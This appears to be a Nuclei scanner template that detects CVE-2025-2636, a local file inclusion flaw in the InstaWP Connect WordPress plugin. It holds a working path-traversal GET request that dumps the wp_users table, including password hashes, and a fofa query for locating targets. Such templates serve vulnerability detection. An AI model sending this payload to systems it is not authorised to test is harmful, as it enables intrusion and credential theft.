id: CVE-2025-2636

info:
  name: InstaWP Connect < 0.1.0.86 - Local PHP File Inclusion
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The InstaWP Connect - 1-click WP Staging & Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.
  impact: |
    Unauthenticated attackers can include and execute arbitrary PHP files through the instawp-database-manager parameter, allowing arbitrary code execution and potential complete server compromise.
  remediation: |
    Update InstaWP Connect plugin to version 0.1.0.86 or later.
  reference:
    - https://wpscan.com/vulnerability/d1b64725-d4ae-4d73-950a-b772a877022b/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2636
  classification:
    epss-score: 0.07369
    epss-percentile: 0.91811
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2636
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/instawp-connect"
  tags: cve,cve2025,wp,wordpress,wp-plugin,instawp-connect,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /?instawp-database-manager=/../../../%2e%2fmigrate%2ftemplates%2fdebug%2fdb-table&table_name=wp_users--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'instawp-wrap'
          - 'user_pass</th>'
          - 'user_email</th>'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022063811c0500c84f117020d957694714ee497339196d3a8fc92c274f4c48bf968c022100f9c14a68f46cab16f1e813ad25ed45d58e01eba9db2b4994fe1ce72cf79429b7:922c64590222798bb761d5b6d8e72950